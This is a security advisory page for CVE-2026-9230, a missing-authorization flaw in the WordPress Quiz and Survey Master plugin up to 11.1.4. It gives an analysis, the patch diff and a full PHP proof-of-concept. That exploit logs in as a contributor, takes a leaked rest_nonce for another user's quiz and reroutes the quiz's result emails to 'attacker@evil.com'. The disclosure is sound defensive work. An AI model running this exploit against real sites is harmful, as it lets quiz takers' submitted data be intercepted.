Published : July 2, 2026

CVE-2026-9230: Quiz and Survey Master (QSM) <= 11.1.4 Missing Authorization to Authenticated (Contributor+) Arbitrary Quiz Modification and Email Reroute via Leaked Nonce from /quiz/structure PoC, Patch Analysis & Rule

CVE ID CVE-2026-9230
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 11.1.4
Patched Version 11.1.5
Disclosed July 1, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-9230:
This vulnerability affects the Quiz and Survey Master (QSM) plugin for WordPress versions up to and including 11.1.4. The plugin fails to properly verify quiz ownership when processing REST API requests. This allows authenticated attackers with contributor-level access or above to modify quizzes they do not own, overwrite quiz results pages, and reroute quiz-result notification emails to attacker-controlled addresses.

The root cause lies in the missing ownership verification in multiple REST API endpoints. The vulnerability is centered in `quiz-master-next/php/rest-api.php` and `quiz-master-next/blocks/block.php`. In the vulnerable version, the REST route at `POST /wp-json/quiz-master-next/v1/quiz/{id}/emails` (line 464 of rest-api.php) only checked if the user had the `edit_qsm_quizzes` capability and that a valid `rest_nonce` was provided. It did not verify that the authenticated user actually owned or had permission to edit the specific quiz identified by the `id` parameter. Similarly, the block editor endpoint at `POST /wp-json/quiz-master-next/v1/quiz/structure` (block.php line 332) also lacked per-quiz ownership checks. The nonce leak is critical: an attacker can call `/wp-json/quiz-master-next/v1/quiz/structure` with a victim’s quiz ID to obtain a `rest_nonce` that is bound to that quiz ID and the attacker’s own user ID. The attacker then presents this nonce to the email save endpoint, which accepts it without verifying quiz ownership.

To exploit this vulnerability, an attacker first authenticates with a contributor-level account. The attacker sends a POST request to `/wp-json/quiz-master-next/v1/quiz/structure` with a `quizID` parameter set to a quiz they do not own (e.g., an admin’s quiz). The response contains a `rest_nonce` that is valid for that quiz ID and the attacker’s session. The attacker then sends a POST request to `/wp-json/quiz-master-next/v1/quiz/{victim_quiz_id}/emails` with the stolen `rest_nonce` and a modified `emails` array containing an attacker-controlled email address. The endpoint processes the request because it only verifies the nonce and the broad capability, not ownership.

The patch in version 11.1.5 adds the function `qsm_current_user_can_edit_quiz()` and calls it in multiple locations. In `block.php`, the permission callback for the `/quiz/structure` route now checks `qsm_current_user_can_edit_quiz($quiz_id)` before returning data. A defense-in-depth check in the `qsm_quiz_structure_data()` callback itself (line 449) prevents leaking structure data or nonces for unauthorized quizzes. The `qsm_save_quiz_settings()` callback (line 620) now also enforces per-quiz ownership. In `rest-api.php` (line 467), the email save endpoint now calls `qsm_current_user_can_edit_quiz()` before processing. These changes ensure that even with a valid nonce, the user must have explicit permission to edit the specific quiz.

If exploited, an attacker with contributor-level access could modify any quiz in the system, including those created by administrators. This includes changing quiz questions, answers, settings, and results pages. The most severe impact is email rerouting: by changing the notification email address, the attacker can intercept quiz results containing potentially sensitive user data submitted by quiz takers. This represents a privilege escalation vulnerability where contributor-level users can perform actions reserved for quiz owners or administrators.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/quiz-master-next/blocks/block.php
+++ b/quiz-master-next/blocks/block.php
@@ -329,8 +329,14 @@
 				array(
 					'methods'             => WP_REST_Server::CREATABLE,
 					'callback'            => array( $this, 'qsm_quiz_structure_data' ),
-					'permission_callback' => function () {
-						return current_user_can( 'edit_qsm_quizzes' );
+					'permission_callback' => function ( WP_REST_Request $request ) {
+						if ( ! current_user_can( 'edit_qsm_quizzes' ) ) {
+							return false;
+						}
+						$quiz_id = isset( $request['quizID'] ) ? intval( $request['quizID'] ) : 0;
+						return function_exists( 'qsm_current_user_can_edit_quiz' )
+							? qsm_current_user_can_edit_quiz( $quiz_id )
+							: false;
 					},
 				)
 			);
@@ -438,6 +444,13 @@
 				return $result;
 			}

+			// Defense-in-depth: refuse to leak quiz structure or a usable rest_nonce
+			// for a quiz the current user is not authorized to edit.
+			if ( function_exists( 'qsm_current_user_can_edit_quiz' ) && ! qsm_current_user_can_edit_quiz( $quiz_id ) ) {
+				$result['msg'] = __( 'Unauthorized!', 'quiz-master-next' );
+				return $result;
+			}
+
 			global $wpdb;


@@ -604,6 +617,16 @@
 				);
 			}

+			// Enforce per-quiz ownership: the route's permission_callback only checks
+			// the broad edit_qsm_quizzes cap, so a contributor could otherwise rename
+			// or publish a quiz they do not own by passing its id in the request body.
+			if ( ! function_exists( 'qsm_current_user_can_edit_quiz' ) || ! qsm_current_user_can_edit_quiz( $quiz_id ) ) {
+				return array(
+					'status' => 'error',
+					'msg'    => __( 'Unauthorized!', 'quiz-master-next' ),
+				);
+			}
+
 			global $mlwQuizMasterNext;
 			//Save Questions
 			if ( ! empty( $_POST['quizData']['questions'] ) ) {
--- a/quiz-master-next/mlw_quizmaster2.php
+++ b/quiz-master-next/mlw_quizmaster2.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: Quiz And Survey Master
  * Description: Easily and quickly add quizzes and surveys to your website.
- * Version: 11.1.4
+ * Version: 11.1.5
  * Author: ExpressTech
  * Author URI: https://quizandsurveymaster.com/
  * Plugin URI: https://expresstech.io/
@@ -43,7 +43,7 @@
 	 * @var string
 	 * @since 4.0.0
 	 */
-	public $version = '11.1.4';
+	public $version = '11.1.5';

 	/**
 	 * QSM Alert Manager Object
--- a/quiz-master-next/php/admin/functions.php
+++ b/quiz-master-next/php/admin/functions.php
@@ -812,6 +812,9 @@
 			'%ANSWER_X%'                  => __( 'X = Question ID. It will show result of particular question.', 'quiz-master-next' ),
 			'%TIME_FINISHED%'             => __( 'Display time after quiz submission.', 'quiz-master-next' ),
 			'%QUESTIONS_ANSWERS_EMAIL%'   => __( 'Shows the question, the answer provided by user, and the correct answer.', 'quiz-master-next' ),
+			'%QSM_START_QUIZ_DATE%'       => __( 'The scheduled start date/time of the quiz.', 'quiz-master-next' ),
+			'%QSM_END_QUIZ_DATE%'         => __( 'The scheduled end date/time of the quiz.', 'quiz-master-next' ),
+
 		),
 	);
 	$variable_list   = apply_filters( 'qsm_text_variable_list', $variable_list );
@@ -1556,6 +1559,11 @@
 function qsm_insert_quiz_template_callback() {
     global $wpdb;

+	if ( ! current_user_can( 'manage_options' ) ) {
+		wp_send_json_error( array( 'message' => __( 'You do not have permission to manage quiz templates.', 'quiz-master-next' ) ) );
+		wp_die();
+	}
+
 	// validate nonce
 	if ( isset( $_POST['nonce'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'qsm_add_template' ) && is_user_logged_in() ) {

@@ -1578,6 +1586,9 @@
 			},
 			$filtered_content
 		);
+		// Strip executable HTML (e.g. <script>, on* handlers) before persisting.
+		// Runs after the custom-tag passes above so %VARIABLE% / shortcode text are preserved.
+		$filtered_content = wp_kses_post( $filtered_content );

 		$table_name = $wpdb->prefix . 'mlw_quiz_output_templates';

@@ -1640,6 +1651,12 @@
  */
 function qsm_remove_my_templates_handler() {
     global $wpdb;
+
+	if ( ! current_user_can( 'manage_options' ) ) {
+		wp_send_json_error( array( 'message' => __( 'You do not have permission to manage quiz templates.', 'quiz-master-next' ) ) );
+		wp_die();
+	}
+
 	if ( ! isset( $_POST['nonce'] ) ||
         ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'qsm_remove_template' )
     ) {
@@ -2107,4 +2124,4 @@

     <?php
 }
-add_action( 'admin_notices', 'qsm_show_legacy_fallback_notice' );
 No newline at end of file
+add_action( 'admin_notices', 'qsm_show_legacy_fallback_notice' );
--- a/quiz-master-next/php/admin/options-page-email-tab.php
+++ b/quiz-master-next/php/admin/options-page-email-tab.php
@@ -301,7 +301,7 @@
 				</div>
 				<div class="qsm-email-page-then-box-styles-wrap">
 					<div class="qsm-email-page-common-section qsm-email-page-then-box-styles" >
-						<label><?php esc_html_e( 'Who to send the email to? Put %USER_EMAIL% to send to user', 'quiz-master-next' ); ?></label>
+						<label><?php esc_html_e( 'Send to: Use %USER_EMAIL% for the user or %QSM_ADMIN_EMAIL% for the admin. Separate multiple emails with commas.', 'quiz-master-next' ); ?></label>
 						<?php do_action( 'qsm_after_send_email_label' ); ?>
 						<input type="email" class="qsm-to-email" value="{{ data.to }}">
 						<label class="qsm-email-reply-to">
--- a/quiz-master-next/php/classes/class-qsm-install.php
+++ b/quiz-master-next/php/classes/class-qsm-install.php
@@ -984,6 +984,8 @@
 				'%QUIZ_LINK%',
 				'%CURRENT_DATE%',
 				'%TOTAL_QUESTIONS%',
+				'%QSM_START_QUIZ_DATE%',
+				'%QSM_END_QUIZ_DATE%',
 			),
 		);
 		$mlwQuizMasterNext->pluginHelper->register_quiz_setting( $field_array, 'quiz_text' );
@@ -1059,6 +1061,8 @@
 				'%QUIZ_LINK%',
 				'%CURRENT_DATE%',
 				'%TOTAL_QUESTIONS%',
+				'%QSM_START_QUIZ_DATE%',
+				'%QSM_END_QUIZ_DATE%',
 			),
 		);
 		$mlwQuizMasterNext->pluginHelper->register_quiz_setting( $field_array, 'quiz_text' );
--- a/quiz-master-next/php/rest-api.php
+++ b/quiz-master-next/php/rest-api.php
@@ -464,6 +464,12 @@
 	// Makes sure user is logged in.
 	if ( is_user_logged_in() ) {
 		$current_user = wp_get_current_user();
+		if ( ! qsm_current_user_can_edit_quiz( $request['id'] ) ) {
+			return array(
+				'status' => 'error',
+				'msg'    => __( 'Unauthorized!', 'quiz-master-next' ),
+			);
+		}
 		$stop         = qsm_verify_rest_user_nonce( $request['id'], $current_user->ID, $request['rest_nonce'] );
 		if ( ! $stop ) {
 			if ( ! isset( $request['emails'] ) || ! is_array( $request['emails'] ) ) {
--- a/quiz-master-next/php/template-variables.php
+++ b/quiz-master-next/php/template-variables.php
@@ -59,6 +59,9 @@
 add_filter( 'mlw_qmn_template_variable_quiz_page', 'mlw_qmn_variable_social_share', 10, 2 );
 add_filter( 'mlw_qmn_template_variable_quiz_page', 'mlw_qmn_variable_total_questions', 10, 2 );
 add_filter( 'mlw_qmn_template_variable_results_page', 'qsm_variable_minimum_points', 10, 2 );
+add_filter( 'mlw_qmn_template_variable_results_page', 'qsm_variable_start_end_quiz_time', 10, 2 );
+add_filter( 'mlw_qmn_template_variable_quiz_page', 'qsm_variable_start_end_quiz_time', 10, 2 );
+add_filter( 'mlw_qmn_template_variable_results_page', 'qsm_variable_admin_email', 10, 2 );

 /**
  * Changed the display structure to new structure.
@@ -1814,3 +1817,72 @@

 	return wp_kses_post( $question_display );
 }
+
+/**
+ * Replaces %QSM_START_QUIZ_DATE% and %QSM_END_QUIZ_DATE% with the quiz's
+ * scheduled start/end date-time, formatted using the site's date/time settings.
+ */
+function qsm_variable_start_end_quiz_time( $content, $mlw_quiz_array ) {
+	$has_start = strpos( $content, '%QSM_START_QUIZ_DATE%' ) !== false;
+	$has_end   = strpos( $content, '%QSM_END_QUIZ_DATE%' ) !== false;
+
+	if ( ! $has_start && ! $has_end ) {
+		return $content;
+	}
+
+	global $mlwQuizMasterNext;
+	$date_format = get_option( 'date_format' ) . ' ' . get_option( 'time_format' );
+
+	if ( $has_start ) {
+		$start_time_raw = '';
+		if ( isset( $mlw_quiz_array['scheduled_time_start'] ) && '' !== $mlw_quiz_array['scheduled_time_start'] ) {
+			$start_time_raw = $mlw_quiz_array['scheduled_time_start'];
+		} else {
+			$quiz_options = $mlwQuizMasterNext->pluginHelper->get_quiz_setting( 'quiz_options', array() );
+			if ( isset( $quiz_options['scheduled_time_start'] ) ) {
+				$start_time_raw = $quiz_options['scheduled_time_start'];
+			}
+		}
+		$start_formatted = '';
+		if ( '' !== $start_time_raw ) {
+			$timestamp = strtotime( $start_time_raw );
+			if ( $timestamp ) {
+				$start_formatted = date_i18n( $date_format, $timestamp );
+			}
+		}
+		$content = str_replace( '%QSM_START_QUIZ_DATE%', $start_formatted, $content );
+	}
+
+	if ( $has_end ) {
+		$end_time_raw = '';
+		if ( isset( $mlw_quiz_array['scheduled_time_end'] ) && '' !== $mlw_quiz_array['scheduled_time_end'] ) {
+			$end_time_raw = $mlw_quiz_array['scheduled_time_end'];
+		} else {
+			$quiz_options = $mlwQuizMasterNext->pluginHelper->get_quiz_setting( 'quiz_options', array() );
+			if ( isset( $quiz_options['scheduled_time_end'] ) ) {
+				$end_time_raw = $quiz_options['scheduled_time_end'];
+			}
+		}
+		$end_formatted = '';
+		if ( '' !== $end_time_raw ) {
+			$timestamp = strtotime( $end_time_raw );
+			if ( $timestamp ) {
+				$end_formatted = date_i18n( $date_format, $timestamp );
+			}
+		}
+		$content = str_replace( '%QSM_END_QUIZ_DATE%', $end_formatted, $content );
+	}
+
+	return $content;
+}
+
+/**
+ * Replaces %QSM_ADMIN_EMAIL% with the site's administrator email address.
+ */
+function qsm_variable_admin_email( $content, $mlw_quiz_array ) {
+	if ( strpos( $content, '%QSM_ADMIN_EMAIL%' ) === false ) {
+		return $content;
+	}
+	$admin_email = esc_html( get_option( 'admin_email', '' ) );
+	return str_replace( '%QSM_ADMIN_EMAIL%', $admin_email, $content );
+}

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-9230 - Quiz and Survey Master (QSM) <= 11.1.4 - Missing Authorization to Authenticated (Contributor+) Arbitrary Quiz Modification and Email Reroute via Leaked Nonce

/**
 * Configuration: Set your target WordPress site and credentials.
 */
$target_url = 'http://example.com';  // Change to your target WordPress URL
$username = 'contributor';          // An account with Contributor role
$password = 'contributor_password'; // Password for the above account
$victim_quiz_id = 1;                // ID of a quiz owned by an admin or other user
$attacker_email = 'attacker@evil.com'; // Email address to receive the quiz results

// Step 1: Authenticate as a contributor-level user
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1',
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies_cve_2026_9230.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies_cve_2026_9230.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
$login_response = curl_exec($ch);

if (curl_error($ch)) {
    die('Login failed: ' . curl_error($ch) . "n");
}

echo "[+] Logged in as: $usernamen";

// Step 2: Obtain REST API nonce by accessing the /quiz/structure endpoint with victim quiz ID
$nonce_url = $target_url . '/wp-json/quiz-master-next/v1/quiz/structure';
$nonce_data = array(
    'quizID' => $victim_quiz_id,
);

curl_setopt($ch, CURLOPT_URL, $nonce_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($nonce_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/x-www-form-urlencoded',
    'X-WP-Nonce: ' . '', // We don't need the nonce yet
));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$nonce_response = curl_exec($ch);

$nonce_data_response = json_decode($nonce_response, true);
echo "[+] Quiz structure response:n";
print_r($nonce_data_response);

if (!isset($nonce_data_response['rest_nonce']) && !isset($nonce_data_response['nonce'])) {
    // Try extracting nonce from the response if available in a different field
    die('[-] Could not obtain nonce from response. Exiting.n');
}

$stolen_nonce = isset($nonce_data_response['rest_nonce']) ? $nonce_data_response['rest_nonce'] : $nonce_data_response['nonce'];
echo "[+] Stolen nonce: $stolen_noncen";

// Step 3: Use the stolen nonce to modify quiz email settings for the victim quiz
$email_url = $target_url . '/wp-json/quiz-master-next/v1/quiz/' . $victim_quiz_id . '/emails';
$email_payload = array(
    'rest_nonce' => $stolen_nonce,
    'emails' => array(
        array(
            'to' => $attacker_email,
            'subject' => 'Quiz result rerouted by attacker',
            'content' => 'Quiz results sent to attacker email.',
            'reply_to' => $attacker_email,
        ),
    ),
);

$json_payload = json_encode($email_payload);

curl_setopt($ch, CURLOPT_URL, $email_url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_POSTFIELDS, $json_payload);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/json',
    'Content-Length: ' . strlen($json_payload),
));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$email_response = curl_exec($ch);

$email_result = json_decode($email_response, true);
echo "[+] Email modification response:n";
print_r($email_result);

if (isset($email_result['status']) && $email_result['status'] === 'success') {
    echo "[+] SUCCESS: Email settings for quiz ID $victim_quiz_id have been modified to send results to $attacker_emailn";
} else {
    echo "[-] Exploit may have failed. Check response above.n";
}

// Clean up
curl_close($ch);
unlink('/tmp/cookies_cve_2026_9230.txt');

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.